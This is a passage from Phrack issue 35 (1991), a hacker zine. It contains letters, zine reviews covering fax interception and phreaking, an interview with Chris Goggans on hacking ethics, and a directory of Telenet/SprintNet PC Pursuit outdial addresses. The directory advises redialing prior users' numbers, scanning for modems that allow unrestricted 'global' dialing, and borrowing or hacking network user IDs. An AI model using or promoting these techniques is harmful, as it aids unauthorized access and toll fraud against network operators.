Michael Lawrie, Operations Group, Systems Development and Security. Mail: michael@uk.ac.lut.hicom (Span:19527::60478::lorry) [What pretentious signature?] (Inet: lorry@mit.edu)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: Dispater

To: MICHAEL@hicom.loughborough.ac.uk

I never said I would delete him from the distribution list. I don't have to DO anything. Who the hell are you pretending to be anyway? You aren't the admin of MIT's gnu machine.

>I found the following message the other day, whilst routing around, I am to >assume you lied to me about taking him off the list but for now we'll forget >that.

Really? What the hell were you doing prowling though someone else's mail? I assume you did it without Torq's permission. I wonder if MIT would like to hear that some British hacker is rummaging around their machine? Your "finding" of our private e‑mail might place you in criminal violation of the Electronic Communications Privacy Act of 1986. This is a federal law in the United States which protects the privacy of electronic communications. Your interception of our communications has violated our privacy. How would you like me to have a little chat with YOUR supervisor?

Why you care about what takes place on the MIT computer which is located here in the USA? In this country freedom of speech is a right granted to all its citizens. The previous publisher of Phrack had to go to Federal Court to prove it and he succeeded. Phrack Inc. is 100% legal here and there is not one damn thing you can do about it!

Dispater

________________________________________

:: Hacker Philosophy ::

From: The Dark Lord Sarik Malthus

Organization: Underground Computing Foundation

> I'm curious...now, don't think I am trying to judge you, or your > actions, or anything...but I am wondering how you, in your mind, justify the > actions of hackers and the kind of information provided by your magazine?

I don't. I think people spend too much time attempting to justify their "morality." I don't play that guilt trip. I only seek information. Information has no morality. It is simple and pure, just like truth.

I do feel that with knowledge comes responsibility not to use it in a destructive way. This is why I will not print "how to make bomb" files in Phrack Inc. Explosives are made for one thing and it doesn't involve too much creativity. People can get that type of stuff elsewhere.

I have never damaged any system or hurt any individual financially. Carding is unquestionable robbery. If you know the person you are carding from, that is revenge and is a different category, as far as I am concerned, but it still doesn't make it right. Besides, any poser with half a brain can pull a CBI. That doesn't demonstrate much talent to me. I admit I went through the c0deZ phase, but I moved onto better things.

I guess your basic question may boil down to, "Why hack?" I see the internet and the telecom world in as the latest frontier to be explored. If you look back at how this country started, you will see that it was explored by people who probably had a similar mentality to that of hackers. We want to test ourselves. We want to have a broad range of different experiences in our lives. We are not content with ignorance of the unknown. And, to some extent we are sick of our current society's norms. With that in mind we leave the security of what is considered acceptable at times.

I guess I have a lot of different unpopular views....oh well.

________________________________________

A Review of:

~~~~~~~~~~

Full Disclosure #23 ‑ a publication For Truth, Justice, and The American Way

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Full Disclosure Subscription Rates:

P.O. Box 903‑FD23 U.S ‑ 12 issues for $18.00 Libertyville IL 60048 24 issues for $29.95

No Canadian orders, please!

by:Twisted Pair

About a month ago I mailed in a coupon I got from friend in order to get a sample issue of Full Disclosure. Within a week I received Issue #23. It's got articles on fax interception, dumpster diving, computer security tips, surveillance tips, technical stuff, mail surveillance, etc.

The Fax Interception article was most interesting to me. I've often wondered just how easy it could be to intercept faxes. Its all explained in the article. Here's some text from the article:

| False Sense of Security:

|

| With the widespread proliferation of fax machines came increased use. | In general, a document transferred has been given the same sort of | validity as one sent or received by the U.S. Mail.* In general, such | communications were originally secure. Now that interception equipment is | available, the

| sense of security has become false.

*Note: Just this month, the FCC has stopped accepting paperwork with faxed signatures on them. Their new policy states that they only accept original signatures.

How could the average Phrack reader start intercepting faxes? Use a standard fax machine hooked up to someone's line? Naaah. Wouldn't work. The handshaking routine between the two corresponding fax machines would be screwed all to hell if you threw a third machine into the mix. Full Disclosure claims to have successfully nabbed faxes with another method. They've pointed out this assertion with a photo on their front page of a "fax". It was supposedly intercepted from the FBI. It shows a computer screen with an FBI "FAX" on it. It looks more like the photo was made with some cutting and pasting at the neighborhood PIP store. Maybe they should have added the caption "Simulated Picture" to their front page.

They recommend using IBM PC fax boards to intercept faxes. You'd need "sophisticated" software that would ignore the handshaking sequences between the two fax machines you're spying on. The IBM would just save all the page information and ignore the protocol information transmitted.

Back to the article....

| Cellular phone‑based fax machines provide ripe opportunity for "hacker" | intercepts, since the signal is available via low cost police scanners.* | No physical connection to a common carrier network is necessary. There is | absolutely no risk of being detected.

*Note: That should read MODIFIED police scanners. See any of the ads in "Nuts & Volts" for a book on doing this.

Discussed in the article is something called Broadband Interception. Commercial fax interception equipment can be hooked up to monitor satellite link traffic. One unit can decode up to 150 simultaneous fax transmissions from a 6,000 phone line satellite link.

Next, all the consequences of forged faxes are discussed. People have become so reliant on fax technology that they incorrectly assume that anything that "comes over the fax" must be legitimate. Forgers find faxing much simpler than trying to make a "real" document. The trouble of altering postmarks and signatures is bypassed. All they need now is scissors and tape to make any "legitimate‑looking" document needed. In their next issue, they further discuss fax interception and all the implications of sending sensitive info by fax.

| Fax Intercept Suppliers

| (The sale and/or use of fax interception equipment may be | restricted by State and Federal law)

|

| Burlex International, Box 6094, Silver Springs MD 20906 (301) 460‑4444; | Communications Devices,3510 Mountain Rd,Haymarket VA 22069 (703) 754‑9316; | El‑Tec Intl, 205 Van Buren St #220, Herndon VA 22080 (703) 709‑9673; | [Many others listed]

Oh, here's an ad from Full Disclosure. It's a business card run:

___________________________________

| |

| | Unix Systems Specialists Available July 10, 1992 |

| |

| | L E N R O S E |

| |

| | Convicted "Hacker" |

| | and |

| | Computer Consultant |

| | 799 Royal St. Geore #105 |

| | Naperville, IL 60563 (708) 527‑1293 |

| |___________________________________

Since you might want to check out a copy of Full Disclosure for yourself, I'll include their address and stuff. The issue I had was 16 pages long, half‑newspaper size.

________________________________________

A Review of TAP #105

~~~~~~~~~~~~~~~~~~~

TAP Magazine Subscription Rates:

PO Box 20264 10 issues for $10.00

Louisville KY 40250‑0264

by Dispater

Around March of 1991 I mailed in my $10. for a subscription to TAP Magazine. Promoted as "the oldest hacker magazine" and "created by Abbie Hoffman." I still, to this day, have not received ONE issue for my money.

While attending CyberView '91, I met Predat0r and gave him $5.00 for a few back issues consisting of #97, #100 through issue #104. I was later given a complimentary issue of #105. After asking about #98 & #99, Predat0r said that he wasn't going to give those out because of some bullshit with Aristotle. Whatever...I still don't see why we couldn't see it.

Anyway, Issue #105 of TAP Magazine (June 1991) was nothing spectacular, but it wasn't bad either. The issue was 18 pages long. For those of you who have never seen it, TAP contains information on hacking and phreaking as well as some political commentary. The articles are always diverse and interesting.

TAP #105 contained information about the DNA Box. This is basically cellular phone phreaking. It was very good and quite detailed. There were also schematics of bugs and a flow chart explaining the incident initiation sequence of the E‑911 system. This issue of TAP was sprinkled with some neat advertisements and news clippings (as usual) and wrapped up with a file about Blue Boxing. The price of $10.00 for 10 issues is worth it, but read on...

Last week I asked Predat0r what was going on with TAP magazine. He told me that he had the material for the next three issues, but his copier or some other equipment was broken. This is an excuse I have heard before. Whether it is a valid excuse or not, only he knows. Since issue #105 (June) there has been not one issue of TAP. If you have ordered a subscription prior to July and not received anything, I highly suggest you write to Predat0r.

The material contained in TAP is good and very much worth the price. (Especially compared to 2600 Magazine) However, I find that the general management of TAP to be poor, at this time, and therefore I highly recommend that you NOT send your $10 to TAP Magazine. Considering the amount of advertisements that we have all seen by TAP (in magazines such as Mondo 2000, 2600, etc.) in the past year, there is no excuse for the non‑existent service that has transpired. Predat0r is a good sysop and needs to manage TAP as he does his BBS. I do urge you to call BLITZKREIG BBS (502) 499‑8933 : NUP: COLUMBIAN COKE.

I really don't like to be so critical, but I know some people I've talked to are feeling ripped off. This is why I wrote this. I truly hope that TAP can get out of this slump.

Phrack Profile of Chris Goggans

==Phrack Inc.==

Volume Three, Issue Thirty‑five, File 3 of 13

‑*[ P H R A C K XXXV P R O P H I L E ]*‑

‑=>[ Presents ]<=‑

Sincerely Yours, Chris Goggans

‑===‑‑===‑‑===‑‑

by S. Leonard Spitz Associate Publisher INFOSecurity Product News

"A provocative interview with a former member of the "Legion of Doom" suggests that the ethics of hacking (or cracking) are often in the eye of the beholder."

Malicious hackers, even though most operate undercover, are often notorious for the colorful pseudonyms they travel under. Reformed hackers, however, prefer a low profile so as to shed their image of perceived criminality. Kevin Mitnick, infamous for the DEC caper, is one of the foremost advocates of this strategy.

Now comes Chris Goggans, trailing his former "Legion of Doom" moniker, Erik Bloodaxe, behind him, to try it his way. Goggans insists that where once he may have bent the rules, he is now ready to give something back to society. And coming across with a high degree of sincerity, he affirms his intention to try. Are he and his colleagues, wearing their newly acquired information security consultants hats, tilting at windmills, or does their embryonic, cracker‑breaking start‑up, Comsec Data Security Co., stand a fighting chance? We thought we would ask him.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

ISPNews: I am going to ask several legitimate questions. Please answer them completely, truthfully, and honestly.

Chris Goggans: OK.

JUDGEMENT BY THE MEDIA

ISPNews: Would you react to Computerworld's July 29 piece, "Group Dupes Security Experts," <also seen in Phrack World News issue 33, part 2 as part of the article called "Legion of Doom Goes Corporate> in which members of your organization were accused of masquerading as potential customers to obtain information, proposals, and prices from other security consultants?

CG: We were all amazed that something like that would ever be printed because, as we understand common business practices, we weren't doing anything unusual.

ISPNews: Computerworld reported that the Legion of Doom was "one of the nation's most notorious hacker groups, according to federal law enforcers." Can you respond to that?

CG: Notorious is a relative term. There has always been a shroud of mystery covering the Legion of Doom, because it was an organization whose membership was private. When you keep people in the dark about the activities of something, there is always going to be the perception that more is going on than there really is.

ISPNews: Would you say then that the characterization of being notorious is unfair?

CG: To some degree, yes. There certainly was activity going on within the group that could be considered illegal. But most of this was taking place when members of the group were all between the ages of 14 and 17. While I don't want to blame immaturity, that's certainly a factor to be considered.

The Legion of Doom put out four <issues of an> on‑line electronic newsletter <called the Legion of Doom Technical Journals> composed of different files relating to various types of computer systems or netware. They explained different operating systems or outlined different procedures used by networks. They were always informative and explained how to use a computer. We never said "This is a computer and this is how to break into it."

Colorful names and words used to describe groups also add to notoriety. If we had been the "Legion of Flower Pickers," the "Legion of Good Guys," or the "SuperFriends," there probably wouldn't be this dark cloud hanging over the group.

ISPNews: Could you be charged with intent to provide information to others which would make it easier to gain unauthorized access?

CG: I don't see how that could be a charge. There's the first amendment. I maintain that talking about something and encouraging or forcing someone to do it are completely different.

EARNING AN "A" IN INFOSECURITY

ISPNews: What attracted you to computer security?

CG: The same thing that would attract anybody to being a hacker. For half of my life I've been in front of a computer every day. Sometimes from early in the morning until the wee hours of the night. And my particular focus has been on computer security.

ISPNews: At least the dark side of that coin.

CG: I wouldn't say the dark side. I'd say the flip side. If you do something for 11 years, you are going to pick up a lot of knowledge. And I've always wanted to find some kind of productive career that I thoroughly enjoyed. So this was just an obvious progression. No one wants to be a 40‑year‑old hacker living in fear of the Secret Service.

ISPNews: When you first applied to enter college, did you feel that it was the right place to learn about information security?

CG: Yes, I thought it was the right place, mainly because college is the most obvious choice to pursue an education in any field. I just assumed that I would be able to find formal training leading to certification or a degree in this field. Yet, at the University of Texas, there wasn't anything along those lines.

ISPNews: Did you graduate from the University of Texas?

CG: No, I changed majors and then moved to Houston. I had started out in computer science but it was completely unrelated to any kind of career I wanted to pursue. I eventually changed my major to journalism. There are only two things I like to do: Work on computers, and write. So, if I wasn't going to get a degree in one, it was going to be in the other. I'm a semester away, and I do plan on finishing.

ISPNews: If you were to structure a college curriculum for studies in information security, would you design it to focus on technical issues, ethics, business issues, or legal matters?

CG: I would try to focus on all of these. If you don't have a technical background, you can't understand the way the operating system works, and you really can't focus on some of the issues that need to be addressed with information security.

Ethics certainly come into play ass well for obvious reasons. I don't think hackers are going to go away. Even with the advent of newer technology, there are always going to be people who have an interest in that technology and will learn how to manipulate it.

ETHICS, INTELLECTUAL PROPERTY RIGHTS, AND THE LAW

ISPNews: What is your definition of a hacker?

CG: A Hacker is someone who wants to find out everything that there is to know about the workings of a particular computer system, and will exhaust every means within his ability to do so.

ISPNews: Would you also comment on the ethics of hacking?

CG: There is an unwritten code of ethics that most people tend to adhere to. It holds that: no one would ever cause damage to anything; and no one would use any information found for personal gain of any kind.

For the most part, the only personal gain that I have ever seen from any sort of hacking activity is the moderate fame from letting others know about a particular deed. And even in these cases, the total audience has been limited to just a few hundred.

ISPNews: Are you unaware of hackers who have in fact accessed information, then sold it or massaged it for money?

CG: No, certainly not. I am just acknowledging and defining a code of ethics. We of the Legion of Doom tried to adhere to that code of ethics. For example, members of the original nine who acted unethically were removed from the group.

ISPNews: Do you believe that penetrating a computer system without either making changes or removing information is ethical, or a least is not unethical?

CG: At one time in the past I may have held that belief, but now I certainly must not, because the whole idea of being involved in the formation of my new company, Comsec Data Security, would show otherwise.

ISPNews: So today, you believe that unauthorized entry is unethical.

CG: Exactly. As a hacker, I didn't particularly hold that. But as things such as invasion of privacy, even though I never caused any damage, and breach of trust became more apparent to me, I was able to step back, see the picture, and realize it was wrong.

ISPNews: Can I conclude that you are speaking for you company and its principals?

CG: Yes, I am speaking for all of the principals.

ISPNews: What are your views on the ownership of information?

CG: I feel that proprietary information, national‑security‑related information, information that could be considered a trade secret, all definitely have ownership, and access should be restricted.

In the past, I felt that information that affected me or had some relevance to my life should be available to me. I felt that information should be available to the people it affected, whether that be phone company information, credit bureau information, banking information, or computer system information in general. I am saying this in the past tense.

In the present tense, I feel that the public is entitled only to information in the public domain. Information not available legally through normal channels is just going to have to be left at that.

ISPNews: Do you believe that software should always be in the public domain.?

CG: No, I do not. If I wrote something as wonderful as Lotus, or any of the Microsoft programs, or Windows, I would want people to pay for them.

ISPNews: Then you do believe in private ownership of and protection for software?

CG: Yes, definitely.

ISPNews: What are you views on current U.S. Computer crime laws?

CG: I think that the current laws are too broad. They do not make distinctions between various types of computer crimes. I consider breaking into a computer akin to trespassing. If someone simply walks across my lawn, I might be upset because they trampled my grass, but I would leave it at that. If someone drives across my lawn and leaves big trenches, and then comes over and kicks down my rosebush, well that's another thing. Then, if someone drives up my steps, goes through my house, through my kitchen, steals all my silverware, and then leaves, that's something completely different. And while these physical representations of trespassing can't be applied directly to an electronic format, distinctions are still necessary.

ISPNews: And the present computer crime laws do not make these distinctions?

CG: I am no lawyer, but from my understanding they do not. They need to be brought into focus.

ISPNews: If they were brought into the kind of focus you suggest, would they be fair and equitable?

CG: Definitely, depending on the punishment that went along with them. I don't think that people who own and operate computer systems would view someone who has logged into their system using a guest account that was deliberately left with no password to be as serious an intrusion as someone who got the system administrator password and then went through and deleted all the files. I don't think that simple intrusion would be considered as serious as unauthorized penetration along with the wholesale theft and sale to a competitor of marketing information, and advertising plans, and financial projections for the next quarter.

ISPNews: What are your views on security training for users?

CG: People need to be taught what the computer operating system is and how it works. After that, they need to establish some sort of channel by which information can be transmitted to others. Direct physical contact between communicating parties, covered by official, standard company procedures, is the best way to do this.

People need to be aware that their account, no matter the level of importance, is a link in a chain that makes up the security of the system. Information from one account can be used as a springboard to other, more powerful accounts. All users within a network must understand that their information is just as important in the security chain as is that of the next person.

ISPNews: Given where you are coming from, why should a potential client trust you?

CG: I know that is a natural question. Just the very nature of creating a company should project an image that we are trying to come out of the shadows, out of the underground. We are saying, "Look everybody, we've been doing this for a long time, now we want to help. We have 11 years of working information about how people compromise existing security, and we can help with your particular situation."

ISPNews: I am sure that you understand the natural suspicion that people have.

CG: No, that's what I don't understand. If we at Comsec were out to compromise information from an existing company's computer network, we wouldn't have incorporated. We could have done that, and someone else out there probably has already done so. Then the information would be available to from one hacker to another.

ISPNews: Are you suggesting there is no system out there that you can't break into?

CG: No, I'm not suggesting that. But I am saying the vast majority can be penetrated.

ISPNews: Which system is easiest to crack; and which is most difficult?

CG: It is hard to say which system is more inherently penetrable than another. From the initial log‑in, it's not the operating system; rather it's the system's operating environment that is the problem. Users may not have addressed security measures. Certain types of security holes may not have been closed. That's where a technical background comes into play: to understand the way the applications work; how different systems are accessed; to close holes in the system which have become apparent. You have to deal with human factors and technical issues. You must understand the way the computer works and the way programs are run.

ISPNews: What is the best way to foil hackers?

CG: It depends on the hacker. There are different types. Some people hack with modems. The casual hacker may just stumble across your particular computer system, and may be foiled with something as simple as good external security. He may be turned off by physical security devices such as a call‑back modem, some sort of code access, or smart card.

These measures will not stop a serious hacker who is after your company specifically. In this case, you have to beef up security, and take additional steps to ensure the safety of your computer. And you must make certain that security on the inside is as tight as on the outside.

ISPN Editor's Note: Chris Goggans will respond, in every other issue of ISPNews, to your questions on hacking computer systems. His answers promise to be problem‑solving, interesting, and even entertaining. We invite you to write Chris c/o:

"Hackers' Mailbag" ISPNews

498 Concord Street Framingham, MA 01701‑2357

Telenet/Sprintnet's PC Pursuit Outdial Directory

==Phrack Inc.==

Volume Three, Issue Thirty‑five, File 4 of 13

Amadeus Presents

//////////////////////////////////////\

<<<<<<<<<<<<< TELENET/SPRINTNET'S PC PURSUIT OUTDIAL DIRECTORY >>>>>>>>>>>

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/

October 25, 1991

Area

Code City, State U.S.A. 300 bps 1200 bps 2400 bps

‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑

201 Newark, New Jersey 311020100001 311020100301 311020100022

NJNEW 2011 201301 20122

202 Washington, D.C. 311020200115 311020200116 311020200117

DCWAS 202115 202116 202117

203 Hartford, Connecticutt 311020300120 311020300121 311020300105

CTHAR 203120 203121 203105

206 Seattle, Washington 311020600205 311020600206 311020600208

WASEA 206205 206206 206208

212 New York, New York 311021200315 311021200316 311021200412

NYNYO 212315 212316 212412

311021200028

21228

213 Glendale, California Same as 818,see 818's NUAs & addresses

CAGLE (Dial 1213+number)

213 Los Angeles, California 311021300412 311021300413

CALAN 213412 213413

311021300103 311021300023

213103 21323

213 Santa Ana, California Same as 714,see 714's NUAs & addresses

CASAN (Dial 1213+number)

214 Dallas, Texas 311021400117 311021400118 311021400022

TXDAL 214117 214118 21422

215 Philadelphia, Pennsylvania 311021500005 311021500112 311021500022

PAPHI 2155 215112 21522

216 Cleveland, Ohio 311021600020 311021600021 311021600120

OHCLE 21620 21621 216120

301 Washington, D.C. Same as 202,see 202's NUAs & Addresses

DCWAS (Dial 1301+number)

303 Denver, Colorado 311030300114 311030300115 311030300021

CODEN 303114 303115 30321

305 Miami, Florida 311030500120 311030500121 311030500122

FLMIA 305120 305121 305122

312 Chicago, Illinois 311031200410 311031200411 311031200024

ILCHI 312410 312411 31224

313 Ann Arbor, Michigan No 300 bps

MIAAR access

313 Detroit, Michigan 311031300214 311031300216 311031300024

MIDET 313214 313216 31324

314 St. Louis, Missouri 311031400020 311031400021 311031400005

MOSLO 31420 31421 3145

317 Indianapolis, Indiana No 300 bps

ININD access

404 Atlanta, Georgia 311040400113 311040400114 311040400022

GAATL 404113 404114 40422

407 Miami, Florida Same as 305,use 305's NUAs & addresses

FLMIA (Dial 1407+number)

407 Orlando, Florida No 300 bps

FLORL access

408 San Jose, California 311040800110 311040800111 311040800021

CASAN 408110 408111 40821

412 Pittsburgh, Pennsylvania No 300 bps

PAPIT access

414 Milwaukee, Wisconsin 311041400020 311041400021 311041400120

WIMIL 41420 41421 414120

415 Oakland, California 311041500108 311041500109 311041500224

CAOAK 415108 415109 415224

415 Palo Alto, California 311041500108 311041500011 311041500005

CAPAL 415108? 41511 4155?

415 San Francisco, California 311041500215 311041500217 311041500217

CASFA 415215 415217 415217?

415 San Jose, California Same as 408,use 408's NUAs & addresses

CASJO (Dial 1415+number)

503 Portland, Oregon 311050300020 311050300021

ORPOR 50320 50321

504 New Orleans, Louisiana No 300 bps

LANOR access

512 Austin, Texas No 300 bps

TXAUS access

516 Hempstead, New York No 300 bps 311051600014

NYHEM access 51614

516 New York, New York Same as 212,use 212's NUAs & addresses

NYNYO (Dial 1516+number)

601 Memphis, Tennessee Same as 901,use 901's NUAs & addresses

TNMEM (Dial 1601+number)

602 Phoenix, Arizona 311060200020 311060200021 AZPHO (Some 602 numbers require 60220 60221 1602+number, see exchange 311060200022 311060200023 311060200026 database below) 60222 60223 60226 612 Minneapolis, Minnesota 311061200120 311061200121 311061200022

MNMIN 612120 612121 61222

614 Columbus, Ohio No 300 bps

OHCOL access

617 Boston, Massachusetts 311061700311 311061700313 311061700026

MABOS 617311 617313 61726

618 St. Louis, Missouri Same as 314,use 314's NUAs & addresses

MOSLO (Dial 1618+number)

619 San Diego, California

CASDI

703 Washington, D.C. Same as 202,use 202's NUAs & addresses

DCWAS (Dial 1703+number)

708 Chicago, Illinois Same as 312,use 312's NUAs & addresses

ILCHI (Dial 1708+number)

713 Houston, Texas 311071300113 311071300114 311071300024

TXHOU 713113 713114 71324

714 Colton, California 311071400119 311071400121 311071400102

CACOL 714119 714121 714102

714 Santa Ana, California 311071400023 311071400024 311071400021

CASAN 71423 71424 71421

311071400210 311071400213 311071400004

714210 714213 7144

718 New York, New York Same as 212,use 212's NUAs & addresses

NYNYO (Dial 1718+number)

801 Salt Lake City, Utah 311080100020 311080100021 311080100012

UTSLC 80120 80121 80112

813 Tampa, Florida 311081300020 311081300021 311081300124

FLTAM 81320 81321 813124

815 Chicago, Illinois Same as 312,use 312's NUAs & addresses

ILCHI (Dial 1312+number)

816 Kansas City, Missouri 311081600104 311081600221 311081600113

MOKCI 816104 816221 816113

817 Dallas, Texas Same as 214,use 214's NUAs & addresses

TXDAL (Dial 1817+number)

818 Glendale, California 311081800021

CAGLE 81821

818 Los Angeles, California Same as 213,use 213's NUAs & addresses

CALAN (Dial 1818+number)

901 Memphis, Tennessee No 300 bps

TNMEM access

908 New Brunswick, New Jersey No 300 bps

NJNBR access

908 Newark, New Jersey Same as 201,use 201's NUAs & addresses

NJNEW (Dial 1908+number)

913 Kansas City, Missouri Same as 816,use 816's NUAs & addresses

MOKCI (Dial 1913+number)

914 New York, New York Same as 212,use 212's NUAs & addresses

NYNYO (Dial 1914+number)

916 Sacramento, California 311091600011 311091600012 311091600007

CASAC 91611 91612 9167

919 Research Triangle Park,N Carolina 311091900020 311091900021 311091900124

NCRTP 91920 91921 919124

KEY: NUA (X.25 International Inter‑Network User Address)‑‑‑‑‑‑>311012300456 Sprintnet/Telenet's Intra‑network address ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> 123456

PC Pursuit Outdial City/Area Code Cross Reference Directory

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ann Arbor, Michigan 313 New Brunswick, New Jersey 908 Atlanta, Georigia 404 New Orleans, Louisiana 504 Austin, Texas 512 New York, New York 212,516,718 &914 Boston, Massachusetts 617 Newark, New Jersey 201 &908 Chicago, Illinois 312, 708 & 815 Oakland, California 415 Cleveland, Ohio 216 Orlando, Florida 407 Colton, California 714 Palo Alto, California 415 Columbus, Ohio 614 Philadelphia, Pennsylvania 215 Dallas, Texas 214 & 817 Phoenix, Arizona 602 Denver, Colorado 303 Pittsburgh, Pennsylvania 412 Detroit, Michigan 313 Portland, Oregon 503 Glendale, California 213 & 818 Research Triangle Park,N Carolina919 Hartford, Connecticutt 203 Sacramento, California 916 Hempstead, New York 516 Salt Lake City, Utah 801 Houston, Texas 713 San Diego, California 619 Indianapolis, Indiana 317 San Francisco, California 415 Kansas City, Missouri 816 & 913 San Jose, California 408 &415 Los Angeles, California 213 & 818 Santa Ana, California 213 &714 Memphis, Tennessee 601 & 901 Seattle, Washington 206 Miami, Florida 305 & 407 St. Louis, Missouri 314 &618 Milwaukee, Wisconsin 414 Tampa, Florida 813 Minneapolis, Minnesota 612 Washington, D.C. 202, 301 &703

Preface

‑‑‑‑‑‑‑

The PC Pursuit outdials, although limited in their dialing range, are of fundamental knowledge to any X.25 hacker in the world. Collecting the addresses of the PC Pursuit outdials is among the first projects of any hacker new to the X.25 hacking arena. On and off through the years since 1986 when I first happened upon the X.25 scene, I have been attempting to compile the complete list of NUAs for all of the outdials. I still haven't realized this goal five years later, as can be evidenced by blanks in the above list.

Other outdials, such as the ones hacked out of explorations of internal corporate, government, or educational networks, come and go usually as fast as codes. Some of these outdials are prize finds that can dial any number in the world and would supplant the usefulness of this list. But such outdials are normally gone in a matter of weeks. The ones that do stay around (such as the infamous 30209160xxxx global outdials) do not work very well. Of course there are exceptions to every rule. Some Global OutDials (GODs) go on working for years, but only because they are known only by one or a few hackers who don't go around giving it to everyone in hackerdom far and wide.

The PC Pursuit outdials have been functioning without fail for several years and will continue to be a reliable and useful hacker's tool for the foreseeable future. You can count on them to be there when you need them, especially when a GOD you've been using fails and you need something to fall back on. I have put together these two files to help further facilitate your use of the PC Pursuit outdials. I hope you find them useful references.

Some Notes for Beginners

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All the modems that you access on the outdials are of the Racal‑Vadic brand and accept the standard Hayes AT command set as a default. I will not go into an explanation of AT commands since you should already know them as a competent user of your computer and modem. If not, check your modem's manual since it is almost certainly a Hayes compatible modem.

The Racal‑Vadic modem offers its own command mode as an alternative to the industry standard Hayes AT command set. To access the Racal‑Vadic mode, type a CTRL‑E and then RETURN. You will see "READY" and an asterisk for a prompt. Type "?" for a list of commands. This mode is more attractive to many users because of its verbose interface and detailed call progress messages; because fewer keystrokes are needed to execute commands such as dial, and because of its ability to redial up to nine times until a connection is made.

None of the outdials allow you to call them collect. You will have to call them from either a PAD (Packet Assembler Deassembler) or NUI (Network User ID). PC Pursuit IDs can also be used as pseudo‑NUIs by typing the NUA followed by a comma, the PCP ID, another comma, and the PCP Password. If you do not already have one, you will have to consult a fellow hacker for a valid NUI or PAD (not as freely traded nowadays). Or, to really impress your hacker friends, hack your own. (Consult other files featured in Phrack that deal with this subject matter.)

The 12 digit NUA (Network User Address) for each outdial above is for accessing the outdial from a network other than SprintNet/Telenet.

The shorter five to six digit number below it is for accessing the outdial from SprintNet/Telenet. Actually, you can use the 12 digit number as well as the shorter five to six digit number (if you precede the 12 digit NUA with a 0) on SprintNet, but the shorter one is easier to remember and use.

For the purposes of memorizing the outdials that you will use more often, it is a simple matter of remembering the shorter SprintNet address and convert‑ ing it to the 12 digit NUA as needed like this:

SprintNet address xxxyyy becomes 3110xxx00yyy (Add 0's in yyy where needed) EXAMPLE: 813124 becomes 311081300124

EXAMPLE2: 4155 becomes 311041500005 (Add preceding 0's in yyy)

Note that networks usually require you to precede the NUA with a 0 or 1 (usually 0) much like when you dial a long distance phone call. For example, on Tymnet, typing an NUA does not require a 0 or 1. On Canada's DataPac, a 1 is required before the 12 digit NUA. On SprintNet and most European X.25 networks, a 0 is needed.

When you connect with an outdial modem, the first thing you might want to do is to redial the last number dialed. The last person who used the modem might have called a number that would be of interest to you in your hacking endeavors. Enter the Racal‑Vadic mode and execute the "R" redial command. The last number dialed is shown on the screen and dialed. The A/ command in the Hayes AT command mode won't work for this purpose since the last number dialed is not shown and the last command executed isn't necessarily a dialing command.

Unfortunately, when a person exits the outdial, the modem resets itself in most cases and the last number dialed is lost. But occasionally you'll get lucky and find an interesting new number to call

Calling Specific Modems, and GODs (Global OutDials)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Each outdial has many modems that you can connect to. When calling the outdial NUA, you will be connected to the first available modem. If all are being used, you will get a busy message. It is possible for you to attempt to connect to one particular modem in the series rather than connect to the first available unused modem.

Append two digits to the end of a NUA to specify which modem you want. For example, to connect to the third modem on 311061200022, you would call NUA 31106120002203. So theoretically, you can call up to 99 different modems on the same outdial (31106120002200 is the same as 311061200022), but no outdials have this many modems.

On SprintNet, you can append a letter to the four to six digit address to specify a modem. You can also add a decimal point and then the two digits for modems above 26 (and below). For example, 31106120002203 is the same as 61222C and 61222.03; 31108130012426 is the same as 813124Z and 813124.26.

So, you may ask, why would I want to call a specific modem?

The reason is that some modems permit unrestrictive dialing. Such modems will let you dial ANY number in the world, not just the local numbers that you're only suppose to call. Such modems are known as GODs, which stands for Global OutDial.

GODs don't last forever. As soon as the SprintNet priests discover the abuse occurring on a particular modem, they'll fix it. So you'll have to talk with your fellow hackers to find out which modems are known to be GODs, or better yet, scan for your own.

Local Exchange Database

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For those using the outdials from international locations, it is important to note that you cannot call just any number in the same area code as the outdial. Unless you're using a GOD (see part A), you can only dial numbers local to the city the outdial is in.

At the end of this file you will find a database of all the exchanges (the three numbers in a telephone number after the area code) that are dial‑able from each outdial. This database will not only be useful to verify for sure that you can dial a particular number from a PC Pursuit outdial, but will also be useful for checking which outdial to use in cases where multiple outdials can be used to dial different numbers in the same area code. For example you can dial numbers in area code 213 from THREE different outdials: 213 CALAN, 818 CAGLE, *and* 714 CASAN. Unless you are familiar with the geographic dialing plan of the Los Angeles area, you would have to consult the exchange database to figure out which outdial to use.

The raw data for the list was downloaded from the PC Pursuit Service BBS (call collectable from SprintNet at 311090900631, @C PURSUIT or @909631; logon as "Sprint Guest" with password "outdial"). I made some very time consuming modifications to the format of the list so that it could be used effectively with Unix's grep command or MS‑DOG's FIND command (and similar commands on other operating systems).

For example, let's say you wanted to call a BBS at 213‑395‑0221. As I mentioned earlier, there are three different outdials that can dial numbers in the 213 area code. You have to find out which one to use. On Unix, you would type:

% grep 213 <filename>|grep 395

Or on MS‑DOS, you would type:

C:\>FIND "213" <filename>|FIND "395"

where <filename> is the name this file is saved under. You will then see: OB

1 213 CAGLE 393 394 395 396 399 400 413 415 450 451 452 453 454 455 458 213 CALAN 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400

As you can see, you can call 1‑213‑395‑0221 from two outdials: CAGLE and CALAN. But notice that the CAGLE outdial has a 1 in front of it. This means that if you use the CAGLE outdial, you will have to dial with the toll prefix (1) and area code preceding the local number since CAGLE is in the 818 area code.

